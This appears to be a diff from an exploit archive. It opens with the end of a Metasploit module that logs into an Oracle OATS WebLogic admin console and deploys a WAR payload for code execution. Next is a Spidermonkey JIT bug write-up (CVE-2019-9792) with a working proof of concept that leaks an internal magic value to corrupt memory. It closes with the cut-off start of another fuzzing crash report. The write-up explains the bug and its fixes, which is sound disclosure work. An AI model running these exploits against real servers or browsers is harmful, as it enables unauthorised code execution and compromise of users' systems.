fail_with(Failure::Unknown, 'No response from server') unless res
|
||||
set_admin_console_session(res)
|
||||
|
||||
uri = normalize_uri(target_uri.path, 'console', 'j_security_check')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['OATSUSERNAME'],
|
||||
'j_password' => datastore['OATSPASSWORD'],
|
||||
'j_character_encoding' => 'UTF-8'
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, 'No response while trying to log in') unless res
|
||||
fail_with(Failure::NoAccess, 'Failed to login') unless is_logged_in?(res)
|
||||
store_valid_credential(user: datastore['OATSUSERNAME'], private: datastore['OATSPASSWORD'])
|
||||
set_admin_console_session(res)
|
||||
end
|
||||
|
||||
def get_deploy_frsc
|
||||
# First we are just going through the pages in a specific order to get the FRSC value
|
||||
# we need to prepare uploading the WAR file.
|
||||
res = nil
|
||||
requests =
|
||||
[
|
||||
{ path: 'console/', vars: {} },
|
||||
{ path: 'console/console.portal', vars: {'_nfpb'=>"true"} },
|
||||
{ path: 'console/console.portal', vars: {'_nfpb'=>"true", '_pageLabel' => 'HomePage1'} }
|
||||
]
|
||||
|
||||
requests.each do |req|
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, req[:path]),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' => req[:vars]
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res
|
||||
end
|
||||
|
||||
html = res.get_html_document
|
||||
hidden_input = html.at('input[@name="ChangeManagerPortletfrsc"]')
|
||||
frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil
|
||||
frsc_attr ? frsc_attr.value : ''
|
||||
end
|
||||
|
||||
def do_select_upload_action
|
||||
action = '/com/bea/console/actions/app/install/selectUploadApp'
|
||||
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, 'oats\\servers\\AdminServer\\upload')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationInstallPortlet_actionOverride' => action
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'AppApplicationInstallPortletselectedAppPath' => app_path,
|
||||
'AppApplicationInstallPortletfrsc' => frsc
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, "No response from #{action}") unless res
|
||||
end
|
||||
|
||||
def do_upload_app_action
|
||||
action = '/com/bea/console/actions/app/install/uploadApp'
|
||||
ctype = 'application/octet-stream'
|
||||
app_cname = 'AppApplicationInstallPortletuploadAppPath'
|
||||
plan_cname = 'AppApplicationInstallPortletuploadPlanPath'
|
||||
frsc_cname = 'AppApplicationInstallPortletfrsc'
|
||||
war = war_payload.war
|
||||
war_name = war_payload.name
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(war, ctype, 'binary', "form-data; name=\"#{app_cname}\"; filename=\"#{war_name}.war\"")
|
||||
post_data.add_part('', ctype, nil, "form-data; name=\"#{plan_cname}\"; filename=\"\"")
|
||||
post_data.add_part(frsc, nil, nil, "form-data; name=\"#{frsc_cname}\"")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationInstallPortlet_actionOverride' => action
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => post_data.to_s
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, "No response from #{action}") unless res
|
||||
print_response_message(res)
|
||||
end
|
||||
|
||||
def do_app_select_action
|
||||
action = '/com/bea/console/actions/app/install/appSelected'
|
||||
war_name = war_payload.name
|
||||
app_path = Rex::FileUtils.normalize_win_path(default_oats_path, "oats\\servers\\AdminServer\\upload\\#{war_name}.war")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationInstallPortlet_actionOverride' => action
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'AppApplicationInstallPortletselectedAppPath' => app_path,
|
||||
'AppApplicationInstallPortletfrsc' => frsc
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, "No response from #{action}") unless res
|
||||
print_response_message(res)
|
||||
end
|
||||
|
||||
def do_style_select_action
|
||||
action = '/com/bea/console/actions/app/install/targetStyleSelected'
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationInstallPortlet_actionOverride' => action
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'AppApplicationInstallPortlettargetStyle' => 'Application',
|
||||
'AppApplicationInstallPortletfrsc' => frsc
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, "No response from #{action}") unless res
|
||||
end
|
||||
|
||||
def do_finish_action
|
||||
action = '/com/bea/console/actions/app/install/finish'
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationInstallPortlet_actionOverride' => action
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'AppApplicationInstallPortletname' => war_payload.name,
|
||||
'AppApplicationInstallPortletsecurityModel' => 'DDOnly',
|
||||
'AppApplicationInstallPortletstagingStyle' => 'Default',
|
||||
'AppApplicationInstallPortletplanStagingStyle' => 'Default',
|
||||
'AppApplicationInstallPortletfrsc' => frsc
|
||||
}
|
||||
})
|
||||
|
||||
fail_with(Failure::Unknown, "No response from #{action}") unless res
|
||||
print_response_message(res)
|
||||
|
||||
# 302 is a good enough indicator of a successful upload, otherwise
|
||||
# the server would actually return a 200 with an error message.
|
||||
res.code == 302
|
||||
end
|
||||
|
||||
def print_response_message(res)
|
||||
html = res.get_html_document
|
||||
message_div = html.at('div[@class="message"]')
|
||||
if message_div
|
||||
msg = message_div.at('span').text
|
||||
print_status("Server replies: #{msg.inspect}")
|
||||
end
|
||||
end
|
||||
|
||||
def deploy_war
|
||||
set_frsc
|
||||
print_status("FRSC value: #{frsc}")
|
||||
do_select_upload_action
|
||||
do_upload_app_action
|
||||
do_app_select_action
|
||||
do_style_select_action
|
||||
do_finish_action
|
||||
end
|
||||
|
||||
def goto_war(name)
|
||||
print_good("Operation \"#{name}\" is a go!")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, name)
|
||||
})
|
||||
|
||||
print_status("Code #{res.code} on \"#{name}\" request") if res
|
||||
end
|
||||
|
||||
def undeploy_war
|
||||
war_name = war_payload.name
|
||||
handle = 'com.bea.console.handles.JMXHandle("com.bea:Name=oats,Type=Domain")'
|
||||
contents = %Q|com.bea.console.handles.AppDeploymentHandle("com.bea:Name=#{war_name},Type=AppDeployment")|
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'console', 'console.portal'),
|
||||
'cookie' => "ADMINCONSOLESESSION=#{login_spec.admin_console_session}",
|
||||
'vars_get' =>
|
||||
{
|
||||
'AppApplicationUninstallPortletreturnTo' => 'AppDeploymentsControlPage',
|
||||
'AppDeploymentsControlPortlethandle' => handle
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
# For some reason, the value given to the server is escapped twice.
|
||||
# The Metasploit API should do it at least once.
|
||||
'AppApplicationUninstallPortletchosenContents' => CGI.escape(contents),
|
||||
'_pageLabel' => 'AppApplicationUninstallPage',
|
||||
'_nfpb' => 'true',
|
||||
'AppApplicationUninstallPortletfrsc' => frsc
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 302
|
||||
print_good("Successfully undeployed #{war_name}.war")
|
||||
else
|
||||
print_warning("Unable to successfully undeploy #{war_name}.war")
|
||||
print_warning('You may want to do so manually.')
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
undeploy_war if is_cleanup_ready
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
@is_cleanup_ready = false
|
||||
super
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
print_status('Target does not have the login page we are looking for.')
|
||||
return
|
||||
end
|
||||
|
||||
do_login
|
||||
print_good("Logged in as #{datastore['OATSUSERNAME']}:#{datastore['OATSPASSWORD']}")
|
||||
print_status("Ready for war. Codename \"#{war_payload.name}\" at #{war_payload.war.length} bytes")
|
||||
result = deploy_war
|
||||
if result
|
||||
@is_cleanup_ready = true
|
||||
goto_war(war_payload.name)
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :frsc
|
||||
attr_reader :is_cleanup_ready
|
||||
end
|
||||
373
exploits/multiple/dos/46939.txt
Normal file
373
exploits/multiple/dos/46939.txt
Normal file
|
|
@ -0,0 +1,373 @@
|
|||
IonMonkey can, during a bailout, leak an internal JS_OPTIMIZED_OUT magic value to the running script. This magic value can then be used to achieve memory corruption.
|
||||
|
||||
# Prerequisites
|
||||
|
||||
## Magic Values
|
||||
|
||||
Spidermonkey represents JavaScript values with the C++ type JS::Value [1], which is a NaN-boxed value that can encode a variety of different types [2] such as doubles, string pointers, integers, or object pointers. Besides the types available in JavaScript, JS::Value can also store special ("magic") [3] values for various internal purposes. For example, JS_ELEMENTS_HOLE is used to represent holes in arrays, and JS_OPTIMIZED_ARGUMENTS represents the `arguments` object during a function call (so that no actual memory allocation is required for it).
|
||||
|
||||
## Branch Pruning
|
||||
|
||||
IonMonkey (Spidermonkey's JIT engine) represents JavaScript code as a control-flow graph (CFG) of MIR (mid-level IR) instructions. When starting to compile a function, IonMonkey first translates the bytecode to the MIR, keeping the same CFG. Afterwards, it tries to remove subtrees in the CFG that appear to not be used in order to save compilation time and potentially improve various optimizations. As an example, consider the following code, and assume further that in all previous executions only the if branch had been taken:
|
||||
|
||||
if (cond_that_has_always_been_true) {
|
||||
// do something
|
||||
} else {
|
||||
// do something else
|
||||
}
|
||||
|
||||
In this case, branch pruning would likely decide to discard the else branch entirely and instead replace it with a bailout instruction to bailout to the baseline JIT should the branch ever be taken:
|
||||
|
||||
if (cond_that_has_always_been_true) {
|
||||
// do something
|
||||
} else {
|
||||
bailout(); // will continue execution in baseline JIT
|
||||
}
|
||||
|
||||
## Phi Elimination
|
||||
|
||||
IonMonkey uses static single assignment (SSA) form for its intermediate representation of the code (MIR). In SSA form, every variable is assigned exactly once. Reassignments of variables on different branches in the CFG are handled with special Phi instructions. Consider the following example:
|
||||
|
||||
var x;
|
||||
if (c) {
|
||||
x = 1337;
|
||||
} else {
|
||||
x = 1338;
|
||||
}
|
||||
print(x);
|
||||
|
||||
After translation to SSA form it would look something like this:
|
||||
|
||||
if (c) {
|
||||
x1 = 1337;
|
||||
} else {
|
||||
x2 = 1338;
|
||||
}
|
||||
x3 = Phi(x1, x2);
|
||||
print(x3);
|
||||
|
||||
Phi Elimination is an optimization pass that tries to remove Phi instructions that are either redundant or unobservable (which frequently appear as result of SSA conversion and various optimizations). Quoting from the source code [4]:
|
||||
|
||||
// Eliminates redundant or unobservable phis from the graph. A
|
||||
// redundant phi is something like b = phi(a, a) or b = phi(a, b),
|
||||
// both of which can be replaced with a. An unobservable phi is
|
||||
// one that whose value is never used in the program.
|
||||
|
||||
Unobservable Phis are then replaced a special value, MagicOptimizedOut [5]. In case of a bailout from the JIT, such an optimized-out value will be materialized as a JS_OPTIMIZED_OUT [6] JS magic value. This should not be observable by script since the compiler was able to prove that the variable is never used. Spidermonkey can, however, not simply leave the slot for an optimized-out variable uninitialized as e.g. the garbage collector expects a valid JS::Value in it.
|
||||
|
||||
Phi elimination can lead to problems in combination with branch pruning. Consider the following example:
|
||||
|
||||
var only_used_in_else_branch = ...;
|
||||
if (cond_that_has_always_been_true) {
|
||||
// do something, but don't use only_used_in_else_branch
|
||||
} else {
|
||||
// do something else and use only_used_in_else_branch
|
||||
}
|
||||
|
||||
Here again, branch pruning might decide to remove the else branch, in which case no use of the variable remains. As such, it would be replaced by a magic JS constant (JS_OPTIMIZED_OUT) in the JIT. Later, if the else branch was actually taken, the JIT code would perform a bailout and try to restore the variable. However, as it has been removed, it would now (incorrectly) restore it as JS_OPTIMIZED_OUT magic and continue using it in the baseline JIT, where it could potentially be observed by the executing script. To avoid this, branch pruning marks SSA variables that are used in removed blocks as "useRemoved" [7], in which case the variables will not be optimized out [8].
|
||||
|
||||
# Bug description
|
||||
|
||||
While fuzzing Spidermonkey, I encountered the following sample which crashes Spidermonkey built from the current release branch:
|
||||
|
||||
function poc() {
|
||||
const x = "asdf";
|
||||
for (let v7 = 0; v7 < 2; v7++) {
|
||||
function v8() {
|
||||
let v13 = 0;
|
||||
do {
|
||||
v13++;
|
||||
} while (v13 < 1200000);
|
||||
}
|
||||
const v15 = v8();
|
||||
for (let v25 = 0; v25 < 100000; v25++) {
|
||||
if (x) {
|
||||
} else {
|
||||
const v26 = {get:v8};
|
||||
for (let v30 = 0; v30 < 1000; v30++) { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
poc();
|
||||
|
||||
It appears what is happening here is roughly the following:
|
||||
|
||||
At the beginning of JIT compilation (somewhere in one of the inner loops), IonMonkey produces the following simplified CFG (annotated with the different SSA variables for x):
|
||||
|
||||
+-------+
|
||||
| 0 +-----+
|
||||
| Entry | |
|
||||
+-------+ |
|
||||
x1 = "asdf" v
|
||||
+-----------+
|
||||
| 1 |
|
||||
+--------------->| Loop Head |
|
||||
| +--+--------+
|
||||
| | x2 = Phi(x1, x5)
|
||||
| +--------+
|
||||
| v
|
||||
| +-----------+ +------------+
|
||||
| | 3 | | 2... |
|
||||
| | OSR Entry | | Inlined v8 |
|
||||
| +-+---------+ +----------+-+
|
||||
| | x3 = osrval('x') |
|
||||
| +---------+ +----------+
|
||||
| v v
|
||||
| +-------------+
|
||||
| | 4 |
|
||||
| | Merge |
|
||||
| +-----------+-+
|
||||
| x4 = Phi(x3, x2) |
|
||||
| v
|
||||
| +-------------+
|
||||
| | 5... |
|
||||
+-----------+ Inner Loop |
|
||||
+-------------+
|
||||
x5 = Phi(x4, ..); use(x5);
|
||||
|
||||
Since the function is already executing in the baseline JIT, the JIT code compiled by IonMonkey will likely be entered via OSR at block 3 in the middle of the outer loop.
|
||||
Next, branch pruning runs. It inspects the hit count of the bytecode (and performs some more heuristics), and decides that block 2 (or really the exit from the loop in v8) should be pruned and replaced with a bailout to the baseline JIT. The CFG then looks something like this:
|
||||
|
||||
+-------+
|
||||
| 0 +-----+
|
||||
| Entry | |
|
||||
+-------+ |
|
||||
x1 = "asdf" v
|
||||
+-----------+
|
||||
| 1 |
|
||||
+--------------->| Loop Head |
|
||||
| +--+--------+
|
||||
| | x2 = Phi(x1, x5)
|
||||
| +--------+
|
||||
| v
|
||||
| +-----------+ +------------+
|
||||
| | 3 | | 2... |
|
||||
| | OSR Entry | | Inlined v8 |
|
||||
| +-+---------+ +------------+
|
||||
| | x3 = osrval(1)
|
||||
| +---------+ !! branch pruned !!
|
||||
| v
|
||||
| +-------------+
|
||||
| | 4 |
|
||||
| | Merge |
|
||||
| +-----------+-+
|
||||
| x4 = Phi(x3) |
|
||||
| v
|
||||
| +-------------+
|
||||
| | 5... |
|
||||
+-----------+ Inner Loop |
|
||||
+-------------+
|
||||
x5 = Phi(x4, ..); use(x5);
|
||||
|
||||
Since there was no use of x2 in the removed code, x2 is not marked as "use removed". However, when removing the branch 2 -> 4, IonMonkey removed x2 as input to the Phi for x4. This seems logical since x2 can now definitely not flow into x4 since there is no longer a path between block 1 and block 4. However, this removal of a use without setting the "use removed" flag leads to problems later on, in particular during Phi Elimination, which changes the code to the following:
|
||||
|
||||
+-------+
|
||||
| 0 +-----+
|
||||
| Entry | |
|
||||
+-------+ |
|
||||
x1 = "asdf" v
|
||||
+-----------+
|
||||
| 1 |
|
||||
+--------------->| Loop Head |
|
||||
| +--+--------+
|
||||
| | x2 = OPTIMIZED_OUT
|
||||
| +--------+
|
||||
| v
|
||||
| +-----------+ +------------+
|
||||
| | 3 | | 2... |
|
||||
| | OSR Entry | | Inlined v8 |
|
||||
| +-+---------+ +------------+
|
||||
| | x3 = osrval(1)
|
||||
| +---------+ !! branch pruned !!
|
||||
| v
|
||||
| +-------------+
|
||||
| | 4 |
|
||||
| | Merge |
|
||||
| +-----------+-+
|
||||
| x4 = Phi(x3) |
|
||||
| v
|
||||
| +-------------+
|
||||
| | 5... |
|
||||
+-----------+ Inner Loop |
|
||||
+-------------+
|
||||
x5 = Phi(x4, ..); use(x5);
|
||||
|
||||
Here, Phi Elimination decided that x2 is an unobservable Phi as it is not used anywhere. As such, it replaces it with a MagicOptimizedOut value. However, when block 2 is executed in the JITed code, it will perform a bailout and restore x as JS_OPTIMIZED_OUT magic value. This is incorrect as the interpreter/baseline JIT will use x once it reaches the inner loop. There, x (now the optimized out magic) is used for a ToBoolean conversion, which crashes (in a non exploitable way) when reaching this code:
|
||||
|
||||
JS_PUBLIC_API bool js::ToBooleanSlow(HandleValue v) {
|
||||
...;
|
||||
MOZ_ASSERT(v.isObject());
|
||||
return !EmulatesUndefined(&v.toObject()); // toObject will return an invalid pointer for a magic value
|
||||
}
|
||||
|
||||
|
||||
A similar scenario is described in FlagPhiInputsAsHavingRemovedUses [9], which is apparently supposed to prevent this from happening by marking x2 as useRemoved during branch pruning. However, in this case, FlagPhiInputsAsHavingRemovedUses fails to mark x2 as useRemoved as it concludes that x4 is also unused: basically, FlagPhiInputsAsHavingRemovedUses invokes DepthFirstSearchUse [10] to figure out whether some Phi is used by performing a depth-first search over all uses. If it finds a non-Phi use, it returns true. In block 5 above (which are really multiple blocks), x4 is used by another Phi, x5, which is then used by a "real" instruction. DepthFirstSearchUse now visits x5 and puts it into the worklist. It then eventually finds x4 and:
|
||||
|
||||
* finds x5 as use, but as x5 is already in the worklist it skips it [11]
|
||||
* finds no other uses, and thus (incorrectly?) marks x4 as unused [12]
|
||||
|
||||
As such, x2 is later on not marked as useRemove since its only use (x4) appears to be unused anyways.
|
||||
|
||||
# Exploitation
|
||||
|
||||
It is possible get a reference to the magic JS_OPTIMIZED_OUT value by changing the body of the inner for loop to something like this:
|
||||
|
||||
for (let v25 = 0; v25 < 100000; v25++) {
|
||||
// Should never be taken, but will be after triggering the bug (because both v3 and v1
|
||||
// will be a JS_OPTIMIZED_OUT magic value).
|
||||
if (v3 === v1) {
|
||||
let magic = v3;
|
||||
console.log("Magic is happening!");
|
||||
// do something with magic
|
||||
return;
|
||||
}
|
||||
if (v1) {
|
||||
} else {
|
||||
const v26 = {get:v8};
|
||||
for (let v30 = 0; v30 < 1000; v30++) { }
|
||||
}
|
||||
}
|
||||
|
||||
Afterwards, the magic value will be stored in a local variable and can be freely used. What remains now is a way to use the magic value to cause further misbehaviour in the engine.
|
||||
|
||||
Spidermonkey uses different JSMagic values in various places. These places commonly check for the existence of some specific magic value by calling `.isMagic(expectedMagicType)` on the value in question. For example, to check for the magic hole element, the code would invoke `elem.isMagic(JS_ELEMENTS_HOLE)`. The implementation of `isMagic` is shown below:
|
||||
|
||||
bool isMagic(JSWhyMagic why) const {
|
||||
MOZ_ASSERT_IF(isMagic(), s_.payload_.why_ == why);
|
||||
return isMagic();
|
||||
}
|
||||
|
||||
Interestingly, this way of implementing it makes it possible to supply a different magic value than the expected one while still causing this function to return true, thus making the caller believe that it has the right magic value. As such, the JS_OPTIMIZED_OUT magic value can, in many cases, be used as any other magic value in the code.
|
||||
|
||||
One interesting use of magic values is JS_OPTIMIZED_ARGUMENTS, representing the `arguments` object. The idea is that e.g.
|
||||
|
||||
function foo() {
|
||||
print(arguments[0]);
|
||||
}
|
||||
|
||||
Gets compiled to bytecode such as:
|
||||
|
||||
push JS_OPTIMIZED_ARGUMENTS
|
||||
LoadElem 0
|
||||
call print
|
||||
|
||||
The special handling for the magic value is then performed here:
|
||||
|
||||
static bool DoGetElemFallback(JSContext* cx, BaselineFrame* frame,
|
||||
ICGetElem_Fallback* stub, HandleValue lhs,
|
||||
HandleValue rhs, MutableHandleValue res) {
|
||||
// ...
|
||||
|
||||
bool isOptimizedArgs = false;
|
||||
if (lhs.isMagic(JS_OPTIMIZED_ARGUMENTS)) {
|
||||
// Handle optimized arguments[i] access.
|
||||
if (!GetElemOptimizedArguments(cx, frame, &lhsCopy, rhs, res,
|
||||
&isOptimizedArgs)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// ...
|
||||
|
||||
Which eventually ends up in:
|
||||
|
||||
inline Value& InterpreterFrame::unaliasedActual(
|
||||
unsigned i, MaybeCheckAliasing checkAliasing) {
|
||||
MOZ_ASSERT(i < numActualArgs());
|
||||
MOZ_ASSERT_IF(checkAliasing, !script()->argsObjAliasesFormals());
|
||||
MOZ_ASSERT_IF(checkAliasing && i < numFormalArgs(),
|
||||
!script()->formalIsAliased(i));
|
||||
return argv()[i]; // really is just argv_[i];
|
||||
}
|
||||
|
||||
An InterpreterFrame [13] is an object representing the invocation context of a JavaScript function.
|
||||
Basically, there are two types of InterpreterFrames: CallFrames [14], which are used for regular function calls and thus has nactul_ (the number of arguments) and argv_ (a pointer to the argument values) initialized, and ExecuteFrame [15], which are e.g. used for eval()ed code. Interestingly, ExecuteFrames leave nactual_ and argv_ uninitialized, which is normally fine as code would never access these fields in an ExecuteFrame. However, by having a reference to a magic value, it now becomes possible to trick the engine into believing that whatever frame is currently active is a CallFrame and thus has a valid argv_ pointer by loading an element from the magic value (`magic[i]` in JS). Conveniently, InterpreterFrames are allocated by a bump allocator, used solely for the interpreter stack. As such, the allocations are very deterministic and it is easily possible to overlap the uninitialized member with any other data that is stored on the interpreter stack, such as local variables of functions.
|
||||
|
||||
The following PoC (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this. It will first trigger the bug to leak the magic JS_OPTIMIZED_OUT value. Afterwards, it puts a controlled value (0x414141414141 in binary) on the interpreter stack (in fill_stack), then uses the magic value from inside an eval frame of which the argv_ pointer overlaps with the controlled value. Spidermonkey will then assume that the current frame must be a FunctionFrame and treat the value as an argv_ pointer, thus crashing at 0x414141414141.
|
||||
|
||||
// This function uses roughly sizeof(InterpreterFrame) + 14 * 8 bytes of interpreter stack memory.
|
||||
function fill_stack() {
|
||||
// Use lot's of stack slots to increase the allocation size of this InterpreterFrame.
|
||||
var v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13;
|
||||
// Will overlap with the argv_ pointer in the InterpreterFrame for the call to eval.
|
||||
var v14 = 3.54484805889626e-310;
|
||||
}
|
||||
|
||||
// This function uses roughly sizeof(InterpreterFrame) bytes of interpreter stack memory. The inner
|
||||
// call to eval will get its own InterpreterFrame, which leaves the argv_ pointer uninitialized
|
||||
// (since it's an eval frame). However, due to having a magic value here, it is possible to trick
|
||||
// the interpreter into accessing argv_ (because it assumes that the magic value represents an
|
||||
// `arguments` object). The argv_ pointer of the inner frame will then overlap with one of the
|
||||
// variables of the previous function, and is thus fully controllable.
|
||||
function trigger(magic) {
|
||||
eval(`magic[0]`);
|
||||
}
|
||||
|
||||
// Invoke the two functions above to achieve memory corruption given a magic JS::Value.
|
||||
function hax(magic) {
|
||||
fill_stack();
|
||||
trigger(magic);
|
||||
}
|
||||
|
||||
function pwn() {
|
||||
const v1 = "adsf";
|
||||
const v3 = "not_asdf";
|
||||
for (let v7 = 0; v7 < 2; v7++) {
|
||||
function v8() {
|
||||
let v13 = 0;
|
||||
do {
|
||||
v13++;
|
||||
} while (v13 < 1200000);
|
||||
// If the previous loop runs long enough, IonMonkey will JIT compile v8 and enter the
|
||||
// JITed code via OSR. This will leave the hitCount for the loop exit in the interpreter
|
||||
// at 0 (because the exit is taken in JITed code). This in turn will lead to IonMonkey
|
||||
// pruning the loop exit when compiling pwn() (with inlined v8), as its heuristics
|
||||
// suggest that the branch is never taken (hitCount == 0 and a few more). This will then
|
||||
// lead to the incorrect removal of Phi nodes, and ultimately the leaking of a
|
||||
// JS_OPTMIZED_OUT magic value to the baseline JIT, where it is observable for the
|
||||
// current script.
|
||||
}
|
||||
const v15 = v8();
|
||||
for (let v25 = 0; v25 < 100000; v25++) {
|
||||
// Should never be taken, but will be after triggering the bug (because both v3 and v1
|
||||
// will be a JS_OPTIMIZED_OUT magic value).
|
||||
if (v3 === v1) {
|
||||
let magic = v3;
|
||||
console.log("Magic is happening!");
|
||||
hax(magic);
|
||||
return;
|
||||
}
|
||||
if (v1) {
|
||||
} else {
|
||||
const v26 = {get:v8};
|
||||
for (let v30 = 0; v30 < 1000; v30++) { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pwn();
|
||||
|
||||
[1] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L276
|
||||
[2] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L53
|
||||
[3] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L191
|
||||
[4] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1382
|
||||
[5] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonTypes.h#L447
|
||||
[6] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L223
|
||||
[7] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/MIR.h#L129
|
||||
[8] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1330
|
||||
[9] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L146
|
||||
[10] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L41
|
||||
[11] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L106
|
||||
[12] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L135
|
||||
[13] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.h#L85
|
||||
[14] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack-inl.h#L51
|
||||
[15] https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.cpp#L35
|
||||
|
||||
|
||||
Fixed in https://www.mozilla.org/en-US/security/advisories/mfsa2019-08/#CVE-2019-9792
|
||||
|
||||
The issue was fixed in two ways:
|
||||
|
||||
1. In https://hg.mozilla.org/releases/mozilla-beta/rev/5f4ba71d48892ddfc9e800aec521a46eaae175fd the debug assertion in isMagic was changed into a release assert, preventing the exploitation of leaked JS_MAGIC values as described above.
|
||||
|
||||
2. In https://hg.mozilla.org/mozilla-central/rev/044a64c70a3b the DFS in DepthFirstSearchUse was modified to (conservatively) mark Phis in loops as used. A more complex implementation which can correctly determine whether Phis inside loops are actually used remains as a separate bug.
|
||||
80
exploits/multiple/dos/46940.txt
Normal file
80
exploits/multiple/dos/46940.txt
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
While fuzzing Spidermonkey, I encountered the following (commented and modified) JavaScript program which crashes debug builds of the latest release version of Spidermonkey (from commit https://github.com/mozilla/gecko-dev/commit/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c):
|
||||
|
||||
function O1() {
|
||||
this.s = 'foobar';
|
||||
this.a = 42;
|
||||
|
||||
// Avoid unboxed layout for O1 instances as this will cause the JIT
|
||||
// compiler to behave differently and not emit the ObjectGroupDispatch
|
||||
// operation (see below).
|
||||
delete this.a;
|
||||
}
|
||||
|
||||
// This function will be inlined below in v4, together with the default
|
||||
// Object.prototype.toString implementation.
|
||||
// This just demonstrates that a custom function can be inlined which
|
||||
// will make assumptions about the input ObjectGroup.
|
||||
O1.prototype.toString = function() {
|
||||
return this.s;
|
||||
};
|
||||
|
||||
function v4(v5) {
|
||||
// Once v22 is allocated as unboxed object, this will convert it to a
|
||||
// native object, which will cause its ObjectGroup to change.
|
||||
delete v5.nonExistent;
|
||||
|
||||
// The call to .toString here will be implemented as a switch
|
||||
// (ObjectGroupDispatch operation) on the ObjectGroup with two cases
|
||||
